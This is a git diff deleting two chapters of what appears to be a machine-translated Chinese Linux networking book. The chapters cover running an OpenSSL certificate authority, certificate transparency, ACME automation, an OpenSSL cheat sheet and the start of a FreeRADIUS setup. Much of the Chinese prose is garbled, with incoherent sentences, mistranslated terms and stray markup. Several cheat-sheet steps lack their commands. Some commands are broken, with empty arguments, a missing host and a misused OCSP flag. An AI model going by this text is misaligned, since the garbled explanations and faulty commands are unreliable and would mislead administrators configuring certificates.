首先,为该证书创建一个私钥,如下所示: - -```sh -$ openssl genrsa -des3 -out server.key 2048 -Generating RSA private key, 2048 bit long modulus (2 primes) -...............................................+++++ -........................+++++ -e is 65537 (0x010001) -Enter pass phrase for server.key: -Verifying - Enter pass phrase for server.key: -``` - -请跟踪该密码,因为在安装证书时将需要它! 另外,请注意,该键有一个`2048`位模量——这是您希望看到或用于此目的的最小值。 - -证书密钥的密码是非常重要和敏感的信息,您应该将它们存储在安全的地方—例如,如果您计划在证书到期时(或者在此之前)更新该证书,那么您将需要该密码来完成这个过程。 与其将其保存在纯文本文件中,我建议使用密码库或密码管理器来存储这些重要的密码短语。 - -注意,许多守护进程风格的服务在中需要一个没有密码的密钥和证书(Apache web 服务器、Postfix 和许多其他服务),以便在不干预的情况下自动启动。 如果您正在为这样的服务创建密钥,我们将删除密码以创建一个*不安全密钥*,如下所示: - -```sh -$ openssl rsa -in server.key -out server.key.insecure -Enter pass phrase for server.key: -writing RSA key -``` - -现在,让我们重命名密钥——`server.key`*安全的*密钥为`server.key.secure`,`server.key.insecure`*不安全的*密钥为`server.key`,如下代码片段所示: - -```sh -$ mv server.key server.key.secure -$ mv server.key.insecure server.key -``` - -无论我们创建的是哪种*风格*密钥(有或没有密码短语),最终的文件都是`server.key`。 使用这个密钥,我们现在可以创建一个 CSR。 这个步骤需要使用不同的密码来签署 CSR,如下面的代码片段所示: - -```sh -~$ openssl req -new -key server.key -out server.csr -You are about to be asked to enter information that will be incorporated -into your certificate request. -What you are about to enter is what is called a Distinguished Name or a DN. -There are quite a few fields but you can leave some blank -For some fields there will be a default value, -If you enter '.', the field will be left blank. ------ -Country Name (2 letter code) [AU]:CA -State or Province Name (full name) [Some-State]:ON -Locality Name (eg, city) []:MyCity -Organization Name (eg, company) [Internet Widgits Pty Ltd]:Coherent Security -Organizational Unit Name (eg, section) []:IT -Common Name (e.g. server FQDN or YOUR name) []:www.coherentsecurity.com -Email Address []: -Please enter the following 'extra' attributes -to be sent with your certificate request -A challenge password []:passphrase -An optional company name []: -``` - -既然在`server.csr`文件中已经有了 CSR,就可以对它进行签名了。 在证书服务器(碰巧对我们来说是相同的主机,但这不是典型情况)上,取`CSR`文件并用以下命令对其签名: - -```sh -$ sudo openssl ca -in server.csr -config /etc/ssl/openssl.cnf -``` - -这将生成几页输出(未显示)并请求几个确认。 其中一个确认将是我们在之前创建 CSR 时提供的密码。 当所有这些都完成后,您将看到实际的证书作为输出的最后一部分滚动。 您还将注意到,因为我们没有指定任何日期,所以证书从现在开始有效,并设置为 1 年后到期。 - -我们刚刚签署的证书存储在`/etc/ssl/newcerts/01.pem`中,如下面的代码片段所示,并且应该可以被请求服务使用: - -```sh -$ ls /etc/ssl/newcerts/ -01.pem -``` - -随着我们的进展,颁发的证书将增加到`02.pem`、`03.pem`,等等。 - -注意在下面的代码片段中,`index`文件已经被更新为证书细节,并且`serial number`文件已经被增量,为下一次签名请求做好准备: - -```sh -$ cat /etc/ssl/CA/index.txt -V 220415165738Z 01 unknown /C=CA/ST=ON/O=Coherent Security/OU=IT/CN=www.coherentsecurity.com -$ cat /etc/ssl/CA/serial -02 -``` - -在完成了一个 CA 示例并使用测试证书进行操作之后,让我们看看如何保护您的 CA 基础设施。 - -# 保护您的证书颁发机构基础设施 - -通常有几个最佳的实践被推荐来保护您的 CA。一些“遗留”建议是特定于单个 CA 的,但是随着虚拟化在大多数数据中心中变得越来越普遍,这为简化和安全 CA 基础设施带来了额外的机会。 - -## 久经考验的建议 - -保护组织证书基础设施的传统建议利用了这样一个事实,即它只在颁发证书时使用。 如果您能够很好地管理何时需要新证书,那么您可以在不需要时关闭 CA 服务器。 - -如果您需要更大的灵活性,您可以创建一个分层的证书基础结构。 为您的组织创建根 CA,根 CA 的惟一工作是签署用于创建从属 CA(或者可能是多个从属 CA)的证书。 然后使用这些从属关系创建所有客户机和服务器证书。 根 CA 可以被下电或脱机,除了用于打补丁的。 - -如果一个组织尤其关心保护 CA,专用硬件如**硬件安全模块**(**HSM)可用于存储私钥和 CA 证书的 CA 离线,通常在保管箱或其他装置外,安全的位置。 商业上的高速路例子包括硝基高速路或 YubiHSM。 NetHSM 是开源 HSM 的一个很好的例子。** - -## 现代忠告 - -前面的建议 100%仍然有效。 在现代基础设施中,我们看到的有助于确保 ca 安全的新难题是服务器虚拟化。 这意味着在大多数环境中,由于虚拟机的备份方式,每个服务器都有一个或多个映像备份存储在本地磁盘上。 因此,如果主机损坏到无法修复,无论是恶意软件(通常是勒索软件)或一些严重的配置错误,只需 5 分钟左右就可以将整个服务器回滚到前一晚的图像,或者在最坏的情况下,回滚到前两晚的图像。 - -一切迷失在这复苏将服务器数据发布的任何证书*间隔丢失,如果我们再回到一个会话是如何协商的,服务器数据从来没有真正用于建立一个会话。 这意味着这*旅行回到时间*,服务器恢复不影响任何的客户端或服务器使用谈判的发行证书加密(或身份验证,我们会看到当我们到达[*第 9 章*](09.html#_idTextAnchor153)、【显示】服务半径 Linux)。* - - *在较小的环境中,根据具体情况,只需使用单个 CA 服务器就可以轻松地保护基础设施——只需保持映像备份,以便在需要恢复时,字节对字节的映像可用,并且可以在几分钟内回滚。 - -在更大的环境中,为 CA 基础设施建立一个层次结构模型仍然很有意义——例如,这可以使合并和收购更容易。 层次结构模型有助于将基础设施维护为单个组织,同时更容易将多个业务单元的 ca 固定在单个主服务器下。 然后,您可以使用基于**操作系统**(**OS**)的安全性来限制*飞溅区域*,以防在一个或另一个分区中发生恶意软件事件; 或者,在日常模型中,如果需要的话,您可以使用相同的操作系统安全性来限制对业务单元之间证书的管理访问。 - -依赖映像备份来保护 CA 基础设施的主要风险要追溯到传统上使用 CA 服务器的方式——在某些环境中,证书可能很少需要。 例如,如果您在本地保留了一周的服务器映像备份,但需要一个月(或几个月)的时间才能意识到应用的脚本或补丁导致 CA 服务器崩溃,那么从备份中恢复可能会出现问题。 这可以通过更广泛地使用证书(例如,在对无线网络的无线客户端进行身份验证时)和自动证书颁发解决方案(如 Certbot 和 ACME 协议(由 Let's Encrypt 平台首创)来很好地处理。 这些因素(尤其是结合在一起)意味着 CA 的使用越来越频繁,以至于如果 CA 服务器不能正常运行,现在情况可能会在数小时或数天内升级,而不是数周或数月。 - -## 现代基础设施 ca 特异性风险 - -*证书权威*或*CA*不是在聚会的非正式谈话中出现的术语,甚至在工作的休息室也不会出现。 这意味着如果你给您的 CA 服务器的主机名`ORGNAME-CA01`,在`CA01`名字的一部分使服务器显然重要你,别指望的`CA`主机名被明显的任何人。 例如,对于您的经理、程序员、在您休假时代您工作的人或由于某种原因拥有 hypervisor 根密码的暑期学生来说,这很可能不是一个危险信号。 如果您是一名顾问,那么组织中实际工作的人可能都不知道 CA 是做什么的。 - -这意味着,特别是在虚拟基础设施中,我们会看到 CA vm(某种程度上)不时被意外删除。 这种情况发生得非常频繁,当我构建一个新的 CA VM 时,我通常将其称为`ORGNAME-CA01 – DO NOT DELETE, CONTACT RV`,其中`RV`表示拥有该服务器的管理员的首字母缩写(在本例中,就是我)。 - -当任何服务器 VM 被删除时,最好设置警报,通知该主机的管理团队中的任何成员——这将为您提供另一层防御,至少提供及时的通知,以便您能够快速恢复。 - -最后,在您的 hypervisor 基础架构上实现**基于角色的访问控制**(**RBAC**)是每个人的最佳实践列表。 只有任何特定服务器的直接管理员应该能够删除、重新配置或更改该服务器的电源状态。 这种级别的控制很容易在现代管理程序中配置(例如,VMware 的 vSphere)。 这至少增加了意外删除 VM 的难度。 - -现在我们已经有了一些保护 CA 的安全实践,让我们从攻击者和基础设施防御者的角度来看看 CT。 - -# 证书透明性 - -回顾本章的开篇段落,回想一下 CA 的一个主要的*工作*是*信任*。 无论它是公共的还是私有的 CA,您都必须信任 CA 来验证请求证书的人就是他们自称的人。 如果这张支票失败,那么任何想代表[yourbank.com](http://yourbank.com)的人都可以请求该证书,并假装是您的银行! 在今天以网络为中心的经济中,这将是灾难性的。 - -当这种信任失败时,各种 CA、浏览器团队(特别是 Mozilla、Chrome 和 Microsoft)和操作系统供应商(主要是 Linux 和 Microsoft)将简单地从各种操作系统和浏览器证书存储中删除有问题的 CA。 这实际上是将该 CA 颁发的所有证书转移到一个不受信任的*类别,迫使所有这些服务从其他地方获取证书。 这种情况在最近发生了几次。* - -DigiNotar 在被入侵后被摘牌,攻击者控制了它的一些关键基础设施。 欺诈**通配符证书为`*.`[发布 google.com](http://google.com)注意`*`这个证书是一个通配符,可以用来保护或模仿任何主机的域。 不仅发放了欺诈性通配符,还被用来拦截真实的流量。 不用说,每个人都对此持悲观看法。** - -在 2009 年到 2015 年之间,赛门铁克 CA 颁发了许多**测试证书**,包括属于谷歌和 Opera(另一种浏览器)的域。 当这件事曝光后,赛门铁克受到了越来越严格的限制。 最终,赛门铁克的工作人员多次跳过验证重要证书的步骤,CA 最终在 2018 年被摘牌。 - -帮助检测这种类型的事件,公共 ca 现在参与**证书透明度**(**CT),**中描述注释请求**(****RFC) 6962 年【显示】。 这意味着,当证书颁发时,证书上的信息由 CA 发布到其 CT 服务。 对于用于**安全套接字层**(**SSL**)/TLS 的所有证书,此过程是强制性的。 这个程序意味着任何组织都可以检查(或更正式地审计)其购买的证书的注册表。 更重要的是,它可以检查/审计注册表中没有*购买的证书。 让我们看看如何在实践中工作。*** - -## 使用 CT 进行盘点或侦察 - -正如我们所讨论的,CT 服务存在的主要原因是通过允许任何人验证或正式审计颁发的证书来确保对公共 ca 的信任。 - -然而,除此之外,组织可以查询 CT 服务,查看是否有不应该从事服务器业务的人购买了他们公司的合法证书。 例如,它不是闻所未闻的营销团队站起来一个服务器与云服务提供者,绕过所有的安全性和成本控制,可能是讨论如果**信息技术**(**)集团建立了代表他们的服务器。 这种情况通常被称为*影子*,非 IT 部门决定去哪里流氓与他们的信用卡和创建并行和经常 less-well-secured 服务器*的【显示】这组没有看到(通常直到太迟了)。*** - - **或者,在安全评估或渗透测试上下文中,找到客户的所有资产是难题的关键部分—您只能评估您所找到的。 使用 CT 服务将找到为公司颁发的所有 SSL/TLS 证书,包括测试、开发和**质量保证**(**QA**)服务器的任何证书。 测试和开发服务器通常是安全性最差的,通常这些服务器为渗透测试人员提供了一扇敞开的大门。 通常,这些开发服务器包含生产数据库的最新副本,因此在许多情况下,危及开发环境是完全违反规定的。 不用说,真正的攻击者使用这些相同的方法来寻找这些相同的脆弱资产。 这还意味着这个场景中的*蓝队*(IT 组中的捍卫者)也应该经常检查 CT 服务器之类的东西。 - -话虽如此,你怎么检查 CT 呢? 让我们使用位于[https://crt.sh](https://crt.sh)的服务器,并搜索颁发给`example.com`的证书。 为此,浏览到[https://crt.sh/?q=example.com](https://crt.sh/?q=example.com)(如果您感兴趣,也可以使用您的公司域名)。 - -请注意,因为这意味着作为一个完整的审计跟踪,这些证书通常会追溯到*时间*,一直追溯到 2013-2014 年,当时 CT 仍处于实验阶段! 这可以成为一个很好的侦察工具,可以帮助您找到证书过期的主机,或者现在受通配符证书保护的主机。 与这些证书相关的旧**域名系统**(**DNS**)记录可能还会将您指向全新的资产或子网。 说到通配符证书(我们之前讨论过),您将在列表中看到这些证书为`*.example.com`(或`*.yourorganisation.com`)。 这些证书旨在保护父域(由`*`指示)下的任何主机。 使用通配符的风险在于,如果适当的材料被窃取(可能来自易受攻击的服务器),域内的任何或所有主机都可能被假冒——当然,这可能是灾难性的! 另一方面,在购买了 3 到 5 个单独的证书之后,将它们合并到一个通配符证书中变得更加划算,这将具有更低的成本,但更重要的是,有一个单一的到期日期来跟踪。 一个附带的好处是,使用通配符证书意味着使用 CT 进行侦察对攻击者的有效性大大降低。 然而,防御者仍然可以看到欺骗性的证书,或者是购买并被其他部门使用的证书。 - -在这一章中我们已经讨论了很多内容。 现在,我们已经牢固地掌握了证书在现代基础设施中的位置,让我们探索如何使用现代应用和协议来自动化整个证书过程。 - -# 证书自动化和 ACME 协议 - -近年来,CAs 的自动化得到了一些重视。 特别是 Let's Encrypt,通过提供免费的公共证书服务,推动了这一变化。 他们降低成本这个服务通过使用自动化,特别是使用**ACME 协议**(*RFC 8737*/【RFC 8555 T6】)和【显示】Certbot 服务验证企业社会责任的信息,以及发布和交付证书。 在大多数情况下,该服务和协议的重点是为 web 服务器提供自动证书,但它正在向外扩展,以覆盖其他用例。 - -像 Smallstep 这样的实现,它使用 ACME 协议来自动化和发出证书请求,已经扩展了这个概念,包括以下内容: - -* **开放授权(OAuth) / OpenID 连接(OIDC**)供应,使用身份令牌认证,允许**单点登录(SSO**)集成套件,Okta,**Azure Active Directory**(【显示】Azure 广告),和任何其他 OAuth 提供者**** -***** 使用来自**Amazon Web Services**(**AWS**)、**谷歌 Cloud Platform**(**GCP**)或 Azure 的 API 提供* **JavaScript 对象表示法(JSON)网络关键****JWK**和**JSON Web 标记**(**JWT**)集成,允许一次性令牌用于身份验证或利用后续发行证书**** - - ****因为使用 ACME 协议颁发的证书通常是免费的,所以它们也是恶意参与者的主要目标。 例如,恶意软件经常利用 Let's Encrypt 提供的免费证书来对加密**命令-控制**(**C2**)操作或数据提取进行加密。 即使对于像 Smallstep 这样的内部 ACME 服务器,对细节的任何疏忽都可能意味着恶意参与者能够破坏组织中的所有加密。 由于这个原因,基于 acme 的服务器通常只颁发短期证书,并认为自动化将通过完全消除增加的管理开销来“弥补不足”。 让我们来看看 Encrypt 是使用 acme 的最知名的公共 CA,它的证书有效期为 90 天。 Smallstep 走到了极端,默认的证书持续时间是 24 小时。 请注意,24 小时的终止时间是很极端的,这可能会对移动工作站产生严重的影响,这些移动工作站可能每天都不在内部网络上,因此通常会设置更长的时间间隔。 - -在 ACME 之前,**简单证书注册协议**(**SCEP**)用于自动化,特别是用于提供机器证书。 SCEP 目前仍广泛应用于**移动设备管理**(**MDM**)产品中,以向手机等移动设备提供企业证书。 连也在很大程度上仍然在使用微软的**网络设备登记服务**(【病人】濒死经历)组件,在 Active Directory**(**【t16.1】广告)的证书服务。 - -微软的,他们的免费证书服务自动注册工作站和用户证书,所有都在组策略控制下。 这意味着随着工作站和用户自动身份验证需求的增加,微软 CA 服务的使用似乎也在增加。 - -基于 linux 的 CA 服务的总体趋势是尽可能自动化颁发证书。 然而,基础的证书原则与我们在本章中讨论的完全相同。 随着这一趋势中的*赢家*开始出现,您应该掌握一些工具,以便理解任何 CA 应该如何在您的环境中工作,不管可能使用的是前端方法还是自动化方法。 - -自动化完成后,我们介绍了您将在现代基础设施中看到的主要证书操作和配置。 在结束这个主题之前,通常有一组简短的“食谱式”命令用于证书操作是很有用的。 因为 OpenSSL 是我们的主要工具,所以我们收集了一些常用命令,希望这些命令可以使这些复杂的操作更容易完成。 - -# OpenSSL 备忘单 - -在开始这个节之前,让我说一下,这将涵盖本章中使用的命令,以及在检查、请求和颁发证书时可能使用的许多命令。 还演示了一些远程调试命令。 OpenSSL 有数百个选项,因此与往常一样,手册页是您更全面地探索其功能的好朋友。 在必要时,如果您谷歌`OpenSSL``cheat sheet`,您将发现数百个页面显示常见的 OpenSSL 命令。 - -下面是一些在证书创建中常见的步骤和命令: - -* 要为新证书(在申请人上)创建私钥,运行以下命令: - - ```sh - openssl genrsa -des3 -out private.key - ``` - -* 要为新证书(在申请人上)创建 CSR,运行以下命令: - - ```sh - openssl req -new -key private.key -out server.csr - ``` - -* 验证 CSR 签名: - - ```sh - openssl req -in example.csr -verify - ``` - -* 查看 CSR 的内容: - - ```sh - openssl req -in server.csr -noout -text - ``` - -* 要签名一个 CSR(在 CA 服务器上),执行以下命令: - - ```sh - sudo openssl ca -in server.csr -config - ``` - -* 要创建自签名证书(通常不是最佳实践),运行以下命令: - - ```sh - openssl req -x509 -sha256 -nodes -days -newkey rsa:2048 -keyout privateKey.key -out certificate.crt - ``` - -以下是检查证书状态时使用的一些命令: - -* 查看标准`x.509`证书文件,运行以下命令: - - ```sh - openssl x509 -in certificate.crt -text –noout - ``` - -* 要检查`PKCS#12`文件(这将证书和私钥组合为单个文件,通常带有`pfx`或`p12`后缀),运行以下命令: -* 使用如下命令检查私钥: - - ```sh - openssl rsa -check -in example.key - ``` - -下面是一些常用的证书远程调试命令: - -* 查看远程服务器上的证书,运行以下命令: - - ```sh - openssl s_client -connect :443 - ``` - -* 要使用 OCSP 协议检查证书撤销状态(注意,这是一个过程,所以我们对步骤进行了编号),请按照以下步骤进行操作: - -1. 首先,收集公众证书,剥离`BEGIN`、`END`行,如下: -2. 接下来,检查证书中是否存在 OCSP**统一资源标识符**(**URI**),如下所示: -3. If there is, you can make a request at this point, as shown here: - - ```sh - openssl x509 -in publiccert.pem -noout -ocsp_uri http://ocsp.ca-ocspuri.com - ``` - - 这里,`http://ocsp.ca-ocspuri.com`是签发 CA 的 OCSP 服务器的 URI(之前已经找到)。 - -4. 如果公共证书中没有 URI,我们将需要获得证书链(即到发行者的链),然后是发行者的根 CA,如下所示: -5. 这通常会创建大量输出—为了将证书链提取到一个文件(在本例中为`chain.pem`),运行以下命令: - -下面是一些用于文件格式转换的 OpenSSL 命令: - -* 将**Privacy-Enhanced 邮件**(**PEM)格式的证书**尊敬的编码规则**(【显示】DER),运行以下命令(注意,DER-formatted 文件很容易确定为他们不包括纯文本格式的字符串,如`-----BEGIN CERTIFICATE-----`): - - ```sh - openssl x509 -outform der -in certificate.pem -out certificate.der - ```** -*** 要将 DER 文件(`.crt`,`.cer`,或`.der`)转换为 PEM 文件,运行如下命令: - - ```sh - openssl x509 -inform der -in certificate.cer -out certificate.pem - ``` - - * 使用实例将包含私钥和证书的`PKCS#12`文件(`.pfx`,`.p12`)转换为 PEM 文件。* OpenSLL commands are also used to convert a PEM certificate file and a private key to `PKCS#12` (`.pfx`, `.p12`). - - 如果服务需要身份证书,但在安装过程中没有 CSR 提供私钥信息,则通常需要`PKCS#12`格式文件。 的情况下,使用**个人交换格式**(**可以)文件或**公钥密码学标准 12 #**(【显示】P12)文件提供了所需的所有信息(私钥和公共证书)在一个文件中。 示例命令如下:** - - ```sh - **openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt** - ```** - - ****希望这篇简短的“烹饪书”有助于解开证书操作的神秘面纱,并有助于简化证书基础结构中涉及的各种文件的阅读。 - -# 总结 - -完成此讨论后,您应该了解使用 OpenSSL 安装和配置证书服务器的基础知识。 您还应该了解请求证书和签署证书所需的基本概念。 不同 CA 实现之间的基本概念和工具是相同的。 您还应该了解用于在远程服务器上检查证书材料或调试证书的基本 OpenSSL 命令。 - -您应该进一步了解确保证书基础设施安全所涉及的因素。 这包括使用 CT 进行盘查和侦察,用于防御和进攻目的。 - -在[*第 9 章*](09.html#_idTextAnchor153),*为 Linux 提供的 RADIUS 服务*中,我们将在此基础上为 Linux 主机添加 RADIUS 认证服务。 您将看到,在更高级的配置中,RADIUS 可以使用您的证书基础设施来保护您的无线网络,其中证书将用于双向身份验证和加密。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 证书促进通信的两个功能是什么? -2. 什么是`PKCS#12`格式,可以在哪里使用它? -3. 为什么 CT 很重要? -4. 为什么您的 CA 服务器跟踪所颁发证书的详细信息很重要? - -# 进一步阅读 - -如欲了解更多有关资讯,请参阅以下资料: - -* Ubuntu 上的证书(特别是,构建 CA):[https://ubuntu.com/server/docs/security-certificates](https://ubuntu.com/server/docs/security-certificates) -* OpenSSL 首页:[https://www.openssl.org/](https://www.openssl.org/) -* *Network Security with OpenSSL*:[https://www.amazon.com/Network-Security-OpenSSL-John-Viega/dp/059600270X](https://www.amazon.com/Network-Security-OpenSSL-John-Viega/dp/059600270X) -* CT:[https://certificate.transparency.dev](https://certificate.transparency.dev) -* OpenSUSE(使用 YaST)的 CA 操作:[https://doc.opensuse.org/documentation/leap/archive/42.3/security/html/book.security/cha.security.yast_ca.html](https://doc.opensuse.org/documentation/leap/archive/42.3/security/html/book.security/cha.security.yast_ca.html) -* Red hat 发行版上的 CA 操作(使用证书管理器):[https://access.redhat.com/documentation/en-us/red_hat_certificate_system/9/html/planning_installation_and_deployment_guide/planning_how_to_deploy_rhcs](https://access.redhat.com/documentation/en-us/red_hat_certificate_system/9/html/planning_installation_and_deployment_guide/planning_how_to_deploy_rhcs) -* [https://github.com/OpenVPN/easy-rsa](https://github.com/OpenVPN/easy-rsa) -* ACME-enabled CAs: - - T1 Smallstep CA:[https://smallstep.com/【】](https://smallstep.com/) - - 巨石 CA:[https://github.com/letsencrypt/boulder](https://github.com/letsencrypt/boulder)************* \ No newline at end of file diff --git a/docs/linux-net-prof/09.md b/docs/linux-net-prof/09.md deleted file mode 100644 index 19235a2f..00000000 --- a/docs/linux-net-prof/09.md +++ /dev/null @@ -1,924 +0,0 @@ -# 九、Linux 上的 RADIUS 服务 - -在本章中,我们将介绍远程认证拨号用户服务(**RADIUS**),这是网络上认证服务的主要方法之一。 我们将实现 FreeRADIUS 服务器,它链接到一个后端**轻量级目录访问协议(LDAP**)/【显示】安全 LDAP**(**LDAPS)目录,并使用它访问网络上的各种服务进行身份验证。**** - - **特别地,我们将涵盖以下主题: - -* RADIUS 基础—什么是 RADIUS 以及它是如何工作的? -* 用本地 Linux 身份验证实现 RADIUS -* RADIUS 与 LDAP/LDAPS 后端认证 -* Unlang—the unlanguage -* 半径用例场景 -* 使用谷歌认证器进行**多因素认证**(**MFA**) - -# 技术要求 - -为了遵循本节中的示例,我们将使用现有的 Ubuntu 主机或**虚拟机**(**VM**)。 在这一章中,我们将涉及一些无线主题,所以如果你的主机或虚拟机中没有无线卡,你将需要一个 Wi-Fi 适配器来完成这些示例。 - -在我们研究各种示例时,我们将编辑几个配置文件。 如果没有特别引用,那么`freeradius`的配置文件都保存在`/etc/freeradius/3.0/`目录中。 - -对于我们正在安装的 Ubuntu 默认不包含的软件包,请确保您有一个正常的互联网连接,以便您可以使用`apt`命令进行安装。 - -# RADIUS 基础知识-什么是 RADIUS,它是如何工作的? - -在我们开始之前,让我们先回顾一个关键的概念——aaa。 **AAA**是**常见的行业术语,代表认证**、**授权【显示】,**和**会计 3 关键概念控制对资源的访问。** - -身份验证是证明你的身份所需要的一切。 在许多情况下,这只涉及到一个用户**标识符**(**ID**)和一个密码,但是我们将在本章中探索使用 MFA 的更复杂的方法。 - -授权通常在身份验证之后进行。 一旦您证明了您的身份,各种系统将使用该身份信息来确定您可以访问什么。 这可能意味着您可以访问哪些子网、主机和服务,或者可能涉及您可以访问哪些文件或目录。 在常规语言中,身份验证和授权通常可以互换使用,但在讨论 RADIUS 和系统访问时,它们是完全不同的。 - -会计有点倒退回拨号上网的时代。 当人们使用拨号调制解调器访问公司系统或互联网时,他们在会话期间占用了宝贵的资源(即接收调制解调器和电路),因此 RADIUS 用于跟踪他们的会话时间和持续时间,以获得每月的发票。 在更现代的时代,RADIUS 会计仍然用于跟踪会话时间和持续时间,但现在这些信息更多地用于故障排除,有时用于取证目的。 - -目前,RADIUS 的主要用途是用于身份验证,通常还配置了计费功能。 授权通常由其他后端系统完成,但是 RADIUS 可以用于为每个身份验证会话分配一个基于网络的**访问控制列表**(**ACL**),这是一种授权形式。 - -了解了这些背景知识之后,让我们更详细地讨论 RADIUS。 **RADIUS**认证协议极其简单,这使得它对许多不同的用例具有吸引力,因此几乎所有可能需要认证的设备和服务都支持它。 让我们来看看一个配置以及一个典型的身份验证交换(在高级别上)。 - -首先,让我们讨论一个需要身份验证的设备,该设备在本上下文中称为**网络访问服务器**(**NAS**)。 NAS 可以是一个**虚拟专用网络**(**VPN**)设备,一个无线控制器或接入点,或者交换机——实际上,用户可能访问的任何需要身份验证的设备。 NAS 是在 RADIUS 服务器上定义的,通常是通过**Internet 协议**(**IP**)地址,以及关联的“共享秘密”来对设备进行认证。 - -接下来配置设备使用 RADIUS 认证。 如果这是用于管理访问,本地身份验证通常会作为备用方法保留—因此,如果 RADIUS 不可用,本地身份验证仍然可以工作。 - -这就是设备(NAS)配置的全部内容。 当客户端试图连接 NAS 时,NAS 会收集登录信息并将其转发给 RADIUS 服务器进行验证(Wireshark 捕获的典型 RADIUS 请求报文见*图 9.1*)。 在包中要注意的事项包括: - -* RADIUS 请求使用的端口为`1812/udp`。 RADIUS 计费的匹配端口是`1813/udp`—计费跟踪连接时间等,并在历史上用于计费。 许多 RADIUS 服务器仍然完全支持旧式的端口集(`1645`和`1646/udp`)。 -* `Code`字段用于识别数据包类型——在本例中,我们将介绍`Access-Request`(代码`1`)、`Accept`(代码`2`)和`Reject`(代码`3`)。 完整的 RADIUS 代码列表包括以下代码: - -![Table 9.1 – RADIUS codes ](img/B16336_09_Table_01.jpg) - -表 9.1 - RADIUS 代码 - -* `Packet ID`字段用于将请求和响应包连接在一起。 自半径是一个**用户数据报协议(UDP**)协议,没有一个会话的概念在协议必须说明的载荷【T7 包。**** -***** `Authenticator`字段对每个包都是唯一的,应该是随机生成的。* 报文的剩余部分由**属性值对**(通常称为**AV 对**)组成。 每一个在包装上都贴有`AVP`标签。 这使得协议可扩展; NAS 和 RADIUS 服务器都可以根据具体情况添加 AV 对。 一般有几个 AV 对支持实现,以及一些特定于供应商的 AV 对通常与 NAS 供应商和具体情况为例,区分管理访问设备和用户访问 VPN 或**无线服务设置 ID【显示】(****名称)。 当我们在本章后面探索一些用例时,我们将更深入地讨论这个问题。****** - - ****在以下简单的例子,我们的两个属性是`User-Name`AV,以明文,和`User-Password`AV,贴上`Encrypted`,但是,事实上,MD5 散列值(在**MD**代表**消息摘要【显示】),使用密码文本, 共享秘密(NAS 和服务器都配置了),以及`Request Authenticator`值。 **要求评论**(**【病人】RFC) (RFC 2865*—看【t16.1】进一步阅读部分)有一个完美的解释这是如何计算的,如果你感兴趣的更多细节:* - - *![Figure 9.1 – Simple RADIUS request ](img/B16336_09_001.jpg) - -图 9.1 -简单的 RADIUS 请求 - -响应通常比简单得多,如下所述: - -* 它通常是代码 2`Accept`(*图 9.2*)或代码 3`Reject`(*图 9.3*)响应。 -* 报文 ID 与请求中相同。 -* 响应验证器由响应报文代码(在本例中为 2)、响应长度(在本例中为 20 字节)、报文 ID(2)、请求验证器和共享秘密计算而成。 回复中的其他 AV 对也将用于计算此值。 这个字段的关键是 NAS 将使用它来验证响应是否来自它所期望的 RADIUS 服务器。 第一个包示例显示了一个`Access-Accept`响应,其中访问请求被授予: - -![Figure 9.2 – Simple RADIUS response (Access-Accept) ](img/B16336_09_002.jpg) - -图 9.2 -简单的 RADIUS 响应(Access-Accept) - -第二个响应报文示例显示了一个`Access-Reject`报文。 所有字段保持和不变,除了访问请求已经被拒绝。 如果没有配置错误,当用户名或密码值不正确时,通常会看到这个结果: - -![Figure 9.3 – Simple RADIUS response (Access-Reject) ](img/B16336_09_003.jpg) - -图 9.3 -简单 RADIUS 响应(Access-Reject) - -现在我们知道了简单的 RADIUS 请求是如何工作的,让我们开始构建 RADIUS 服务器。 - -# 实现 RADIUS 与 Linux 本地认证 - -本例显示了最简单的 RADIUS 配置,其中`UserID`和`Password`值都在本地配置文件中定义。 由于以下几个原因,不建议在任何生产环境中使用此方法: - -* 密码以明文字符串的形式存储,因此在发生泄漏时,恶意参与者可以收集所有 RADIUS 密码。 -* 密码由管理员输入,而不是用户输入。 这意味着“不可抵赖性”这一关键安全概念将不复存在——如果某个事件与此类帐户绑定,那么受影响的用户总是可以说“管理员也知道我的密码——肯定是他们”。 -* 还与管理员输入的密码有关——用户不能更改他们的密码,这也意味着在大多数情况下,这个 RADIUS 密码将与用户使用的其他密码不同,这使得它更难记住。 - -不过,在使用后端身份验证存储和更复杂的 RADIUS 交换将其复杂化之前,它是测试初始 RADIUS 配置的一种简便方法。 - -首先,我们将安装`freeradius`,如下: - -```sh -sudo apt-get install freeradius -``` - -接下来,让我们编辑`client`配置,它定义了人们将向其发出身份验证请求的各种 NAS 设备。 为此,使用`sudo`编辑`/etc/freeradius/3.0/clients.conf`文件。 如您所料,您将看到 RADIUS 配置文件不能用普通权限编辑,甚至不能查看,因此必须使用`sudo`对这些文件进行所有访问。 - -在这个文件的底部,我们将为每个 RADIUS 客户端设备添加一个节,其中包含其名称、IP 地址和该设备的共享秘密。 请注意,最好的做法是使用一个长的随机字符串,每个设备都是唯一的。 您可以很容易地编写一个快速脚本来生成它,参见[https://isc.sans.edu/forums/diary/How+do+you+spell+PSK/16643](https://isc.sans.edu/forums/diary/How+do+you+spell+PSK/16643)了解更多细节。 - -在下面的代码示例中,我们添加了三个交换机(每个交换机的名称都以`sw`开头)和一个无线控制器(`VWLC01`,一个虚拟无线控制器)。 这里的一个关键概念是一致地命名设备。 对于不同的设备类型,你可能需要不同的规则或策略; 根据设备类型给它们提供一致的名称是一个方便的概念,可以简化这一点。 此外,如果设备名称标准已知且一致,那么像排序列表这样简单的事情就会变得更简单: - -```sh -client sw-core01 { - ipaddr=192.168.122.9 - nastype = cisco - secret = 7HdRRTP8qE9T3Mte -} -client sw-office01 { - ipaddr=192.168.122.5 - nastype = cisco - secret = SzMjFGX956VF85Mf -} -client sw-floor0 { - ipaddr = 192.168.122.6 - nastype = cisco - secret = Rb3x5QW9W6ge6nsR -} -client vwlc01 { - ipaddr = 192.168.122.8 - nastype = cisco - secret = uKFJjaBbk2uBytmD -} -``` - -注意,在某些情况下,你可能需要配置整个子网——在这种情况下,客户端行可能会像这样: - -```sh -Client 192.168.0.0/16 { -``` - -通常不建议这样做,因为它会打开 RADIUS 服务器,使其受到来自该子网的任何攻击。 如果可能的话,使用固定的 IP 地址。 在某些情况下,然而,你可能会被迫使用 subnets-for 实例,如果你有**无线访问点**(**wap)为无线客户验证直接半径,动态 ip 分配使用**动态主机配置协议(DHCP**【显示】)。** - - **注意和`nastype`一行——它将设备绑定到一个`dictionary`文件,该文件包含该供应商的通用 AV 对的定义。 - 